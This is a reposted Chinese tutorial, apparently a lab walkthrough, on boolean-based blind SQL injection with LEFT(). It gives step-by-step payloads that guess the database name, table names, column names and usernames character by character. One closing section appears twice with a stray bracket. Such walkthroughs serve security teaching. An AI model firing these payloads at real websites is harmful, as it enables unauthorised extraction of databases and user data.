SQL注入——盲注(left方法)
Posted xialuoxialuo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入——盲注(left方法)相关的知识,希望对你有一定的参考价值。
SQL注入——盲注(left方法)
1、拿到题目后首先判断闭合规则,目前有如下几种情况
select id=’ ’
select id=" "
select id=’( )’
select id="( )"
select id =( )
二、fuzz规则
通过 order by 10000 --+ 来作为结尾 前面fuzz数据库的闭合规则
在id = 1“ 时 页面回显异常 说明 闭合方式为第二种 双引号闭合
三、之后开始猜测数据库名
第一条payload为 id=1" and left(database(),1)>'a' --+
介绍一下left函数 left(参数1,参数2) 意为 将参数1从左开始取参数2个
示例: left(abc,2)
返回值为ab
之后将他与字符串进行比较 例如 left(abc,1)>'a'
返回结果为false 因为 ‘a’=‘a’
同样的left(abc,2)>'aa'
返回结果为TURE 因为‘ab’是要大于‘aa’
根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系
及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常
四、探测库名
1、第一位字母
使用2分法 第一条payload为
?id=1" and left(database(),1)>'l' --+
页面回显正常
之后尝试
?id=1" and left(database(),1)>‘s’ --+
发现页面回显异常
?id=1" and left(database(),1)='s' --+
此时页面正常回显 可知数据库第一位为s
2、第二位字母
之后探测第二位字母
payload为
?id=1" and left(database(),2)>'sl' --+
页面回显异常 说明第二位字母 比 l 要小
在尝试到e时回显正常 payload为
?id=1" and left(database(),2)='se' --+
3、如何判断结尾在哪里
之后几位字符自行尝试
注:当出现如下情况时
payload为:?id=1" and left(database(),9)>'securitya' --+
数据库库名的第九位是否比‘a’大 但是回显异常,却又不等于A时 说明库名已经猜测完毕
及库名就为security
五、猜解表名
有了数据库的库名之后 我们要开始猜解数据库中的表名
payload:
?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1)>'l' --+
页面异常
经过尝试可知 第一个表名的首字母为e
5、2第二个表名
?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1)>'l' --+
通过修改limit 开始对第二个表名进行猜测
可知第二个表名首字母为r
之后过程相同 不再重复说明
六、猜解列名
payload:
?id=1" and left((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1)>'l' --+
回显异常
之后过程相同不再说明
知识补充(limit)
left中的语句
select table_name from information_schema.tables where table_schema = 'security' limit 0,1
意为从infomation_schema.tables 这张表中选出 table_name那一列 这列的table_schema要为security
limit 0,1 是 从返回的结果中 显示第一行 一共显示一行
效果如下
不加limit时返回结果
limit 0,1时的结果,返回了第一行 仅显示一行
limit 0,2时的结果 返回了第一行 显示两行
七、表中字段名
payload:
?id=1" and left((select username from security.users limit 0,1),1)>'l' --+
]
limit 0,2时的结果 返回了第一行 显示两行
七、表中字段名
payload:
?id=1" and left((select username from security.users limit 0,1),1)>'l' --+
同理
以上是关于SQL注入——盲注(left方法)的主要内容,如果未能解决你的问题,请参考以下文章